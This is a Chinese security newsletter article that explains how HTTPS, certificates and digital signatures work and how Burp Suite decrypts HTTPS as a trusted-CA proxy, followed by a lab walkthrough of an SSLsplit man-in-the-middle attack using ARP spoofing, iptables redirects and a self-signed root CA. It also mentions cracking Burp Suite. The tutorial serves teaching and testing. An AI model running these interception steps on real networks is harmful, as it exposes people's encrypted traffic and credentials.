甜橙安全头条第23期 | burpsuite为啥能解https的包
burpsuite为啥能解https的包?
一、http为什么不安全?
二、https如何保证安全
要解决http带来的问题,就要引入加密以及身份验证机制。
引入对称加密和非对称加密
这样是不是就一定安全?
中间人获取对称密钥的过程:
首先来看一种场景:小红发信息约小明放学后去电影
正常的信息流动是这样的
1.小红 -> 放学后去看电影吧?-> 小明
2.小明 -> 好,校门口等我。-> 小红
但如果存在一个中间人把小红和小明的信息拦截,并做了修改,信息流变成了下面这样:
1.小红 -> 放学后去看电影吧?-> 中间人(你) -> 今天上课有点累,放学我就回家了,不要等我。-> 小明
2.小明 -> 好吧,好好休息。-> 中间人(你) -> 不去了,放学后我就回家。-> 小红
引入数字证书
数字证书有三个作用:
1.身份授权。确保浏览器访问的网站是经过CA验证的可信任的网站。
2.分发公钥。每个数字证书都包含了注册者生成的公钥(验证确保是合法的,非伪造的公钥)。在SSL握手时会通过certificate消息传输给客户端。
3.验证证书合法性。客户端接收到数字证书后,会对证书合法性进行验证。只有验证通过后的证书,才能够进行后续通信过程。
那么问题又来了,数字证书谁来校验?
引入数字签名
数字签名的制作和验证过程如下:
1.数字签名的签发。首先是使用哈希函数对待签名内容进行安全哈希,生成消息摘要,然后使用CA自己的私钥对消息摘要进行加密。
2.数字签名的校验。使用CA的公钥解密签名,然后使用相同的签名函数对签名证书内容进行签名,并和服务端数字签名里的签名内容进行比较,如果相同就认为校验成功。
数字证书主要包含那些信息:
1.证书颁发机构
2.证书颁发机构签名
3.证书绑定的服务器域名
4.证书版本、有效期
5.签名使用的加密算法(非对称算法,如RSA)
6.公钥
Tip: 信息收集中基于SSL证书查询
(1)https://crt.sh/
(2)https://censys.io/
(3)https://developers.facebook.com/tools/ct/
(4)https://google.com/transparencyreport/https/ct/
看看我们自己的
总结一下:
1
好的设计应该体现品牌客户端的浏览器向服务器传送客户端SSL 协议的版本号,加密算法的种类,产生的随机数,以及其他服务器和客户端之间通讯所需要的各种信息。
2
服务器向客户端传送SSL 协议的版本号,加密算法的种类,随机数以及其他相关信息,同时服务器还将向客户端传送自己的证书。
3
客户利用服务器传过来的信息验证服务器的合法性,服务器的合法性包括:证书是否过期,发行服务器证书的CA 是否可靠,发行者证书的公钥能否正确解开服务器证书的“发行者的数字签名”,服务器证书上的域名是否和服务器的实际域名相匹配。如果合法性验证没有通过,通讯将断开;如果合法性验证通过,将继续进行第四步。
4
用户端随机产生一个用于后面通讯的“对称密码”,然后用服务器的公钥(服务器的公钥从步骤②中的服务器的证书中获得)对其加密,然后将加密后的“预主密码”传给服务器。
5
服务器和客户端用相同的主密码即“通话密码”,一个对称密钥用于SSL 协议的安全数据通讯的加解密通讯。同时在SSL 通讯过程中还要完成数据通讯的完整性,防止数据通讯中的任何变化。
6
服务器向客户端发出信息,指明后面的数据通讯将使用的步骤5中的主密码为对称密钥,同时通知客户端服务器端的握手过程结束。
7
SSL 的握手部分结束,SSL 安全通道的数据通讯开始,客户和服务器开始使用相同的对称密钥进行数据通讯,同时进行通讯完整性的检验。
那么问题又又来了,burp为啥还能抓到https的包?
三、Burpsuite抓包原理解析
Burpsuite配置过程
1.先将burpsuite破解 ,过程略
2.配置 Burp suite 代理 ,打开burp 选择proxy----->options
3.浏览器进行配置 , 这里以谷歌浏览器为例 ,其他浏览器类似,可自行百度。设置----->高级 ----->打开代理,如下图:
4.配置完成后就可以使用burp suite进行抓包了,但是抓包过程中可能出现如下问题, https无法抓取,以前点击高级,点击继续访问可以进行,但是现在貌似不可以了,解决办法就是安装burp的受信任证书。
5.安装SSL受信任证书,打开浏览器访问 http://burp ,点击CA Certificate下载 证书进行安装。
6. 点击下一步直到完成 ,最后会弹出一个警告对话框,选择是即可。如下图是安装后的抓包效果。
原理解析
·客户端向服务器发起HTTPS请求。
·Burpsuite拦截客户端的请求,伪装成客户端向服务器进行请求。
·服务器向“客户端”(实际上是Burpsuite)返回服务器的CA证书。
·Burpsuite拦截服务器的响应,获取服务器证书公钥,然后自己制作一张证书,将服务器证书替换后发送给客户端。(这一步,Burpsuite拿到了服务器证书的公钥)
·客户端接收到“服务器”(实际上是Burpsuite)的证书后,生成一个对称密钥,用Burpsuite的公钥加密,发送给“服务器”。(Burpsuite)
· Burpsuite拦截客户端的响应,用自己的私钥解密对称密钥,然后用服务器证书公钥加密,发送给服务器。(这一步,Burpsuite拿到了对称密钥)
·服务器用自己的私钥解密对称密钥,向“客户端”(Burpsuite)发送响应。
·Burpsuite拦截服务器的响应,替换成自己的证书后发送给客户端。
·至此,连接建立,Burpsuite拿到了 服务器证书的公钥 和 客户端与服务器协商的对称密钥,之后就可以解密或者修改加密的报文了。
·HTTPS抓包的原理还是挺简单的,简单来说,就是Burpsuite作为“中间人代理”,拿到了 服务器证书公钥 和 HTTPS连接的对称密钥,前提是客户端选择信任并安装Burpsuite的CA证书,否则客户端就会“报警”并中止连接。这样看来,HTTPS还是很安全的。
挂代理与未挂代理证书区别
反抓包策略
· 证书锁定 需要在客户端代码内置仅接受指定域名的证书,而不接受操作系统或浏览器内置的CA根证书对应的任何证书,通过这种授权方式,保障了APP与服务端通信的唯一性和安全性,因此客户端与服务端(例如API网关)之间的通信是可以保证绝对安全。但是CA签发证书都存在有效期问题,缺点是在 证书续期后需要将证书重新内置到APP中。
· 公钥锁定 提取证书中的公钥并内置到客户端中,通过与服务器对比公钥值来验证连接的正确性。制作证书密钥时,公钥在证书的续期前后都可以保持不变(即密钥对不变),所以可以避免证书有效期问题,一般推荐这种做法。
突破SSL-Pinning抓包
四、sslsplit嗅探tls/ssl连接
1.工作原理
这里给出SSLSplit的git地址:
https://github.com/droe/sslsplit
下载并编译SSLsplit
2.安装
git clone https://github.com/droe/sslsplit.git /opt/sslsplit
这里说一下,源码编译依赖于两个包,这个kali默认是没有安装的,我们需要安装一下apt-get install libssl-dev libevent-dev
然后进行编译,成功之后我们输入sslsplit -h应该就会有帮助回显了
中间人攻击
简略步骤如下:
①先生成一个key文件
openssl genrsa -out ca.key 2048
②然后自签名用生成的key生成公钥证书:
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
这样我们就把根证书建好了。
③然后我们还需要在攻击测试机上进行端口流量转发,将对应的流量转到工具中来,在此之前需要打开ip_forward功能:
echo 1 > /proc/sys/net/ipv4/ip_forward
④接着是用iptables进行流量转发,需要把我们需要的端口进行转发:
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443
当然,在此之前请记得使用iptables -F清除原有设置。
我们可以使用以下命令查看当前的配置
iptables -t nat -L
⑤下一步是ARP欺骗
arpspoof -i eth0 -t 192.168.217.129 -r 192.168.217.2
开始劫持的时候再打开ARP,因为我们的端口转发已经打开,ARP流量已经不能与平时一样正常走攻击机的正常端口,会出现靶机上不了网的情况
⑥启动ARP
arpspoof -i eth0 -t 192.168.217.129 -r 192.168.217.2
接着启动SSLSplit
sslsplit-D-lconnect.logj/opt/sslsplit/test1-Slogdir/kca.keyc ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
启动之后,ARP结果如下:
SSLSplit启动之后:
然后此时我们使用靶机浏览https网页,就已经发现类似以上yahoo的状况了:
我们选择继续浏览:
这里我们已经可以清晰看到我们的制作的根证书已经替换掉了服务器的官方证书。
五、http双向认证
1.客户端发起HTTPS请求,将SSL协议版本的信息发送给服务端
2.服务端去CA机构申请来一份CA证书,证书里面有服务端公钥和签名。将CA证书发送给客户端
3.客户端读取CA证书的明文信息,采用相同的hash散列函数计算得到信息摘要(hash目的:验证防止内容被修改),然后用操作系统带的CA的公钥去解密签名(因为签名是用CA的私钥加密的),对比证书中的信息摘要。如果一致,则证明证书是可信的,然后取出了服务端公钥
4.客户端发送自己的客户端证书给服务端,证书里面有客户端的公钥:C_公钥
5.客户端发送支持的对称加密方案给服务端,供其选择
6.服务端选择完加密方案后,用刚才得到的C_公钥去加密选好的加密方案
7.客户端用自己的C_私钥去解密选好的加密方案,客户端生成一个随机数(密钥F),用刚才等到的服务端B_公钥去加密这个随机数形成密文,发送给服务端。
8.服务端和客户端在后续通讯过程中就使用这个密钥F进行通信了。和之前的非对称加密不同,这里开始就是一种对称加密的方式。
———— / END / ————
那些年甜橙安全给你分享过的干货
- 甜橙安全头条 -
- 甜橙安全小课堂 -
- 热点追踪-
《 关注3·15晚会之 “网赚”类App,到底有多不靠谱?》
-更多精彩,请关注下方公众号-
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 习近平开始对巴西进行国事访问 7943954
- 2 钟睒睒喊话张一鸣道歉 7966256
- 3 医院CT等收费将执行新规 7894002
- 4 “互联网之光”闪耀乌镇 7795649
- 5 29岁抗癌博主“一只羊吖”去世 7639869
- 6 钟南山建议40岁以上每年查肺功能 7540524
- 7 俄传奇飞行员在广州扫货 7411084
- 8 五月天演唱会引发超10幢居民楼摇晃 7367641
- 9 苹果要彻底封杀3.5mm接口 7256405
- 10 一图看中国30年“上网”史略 7119334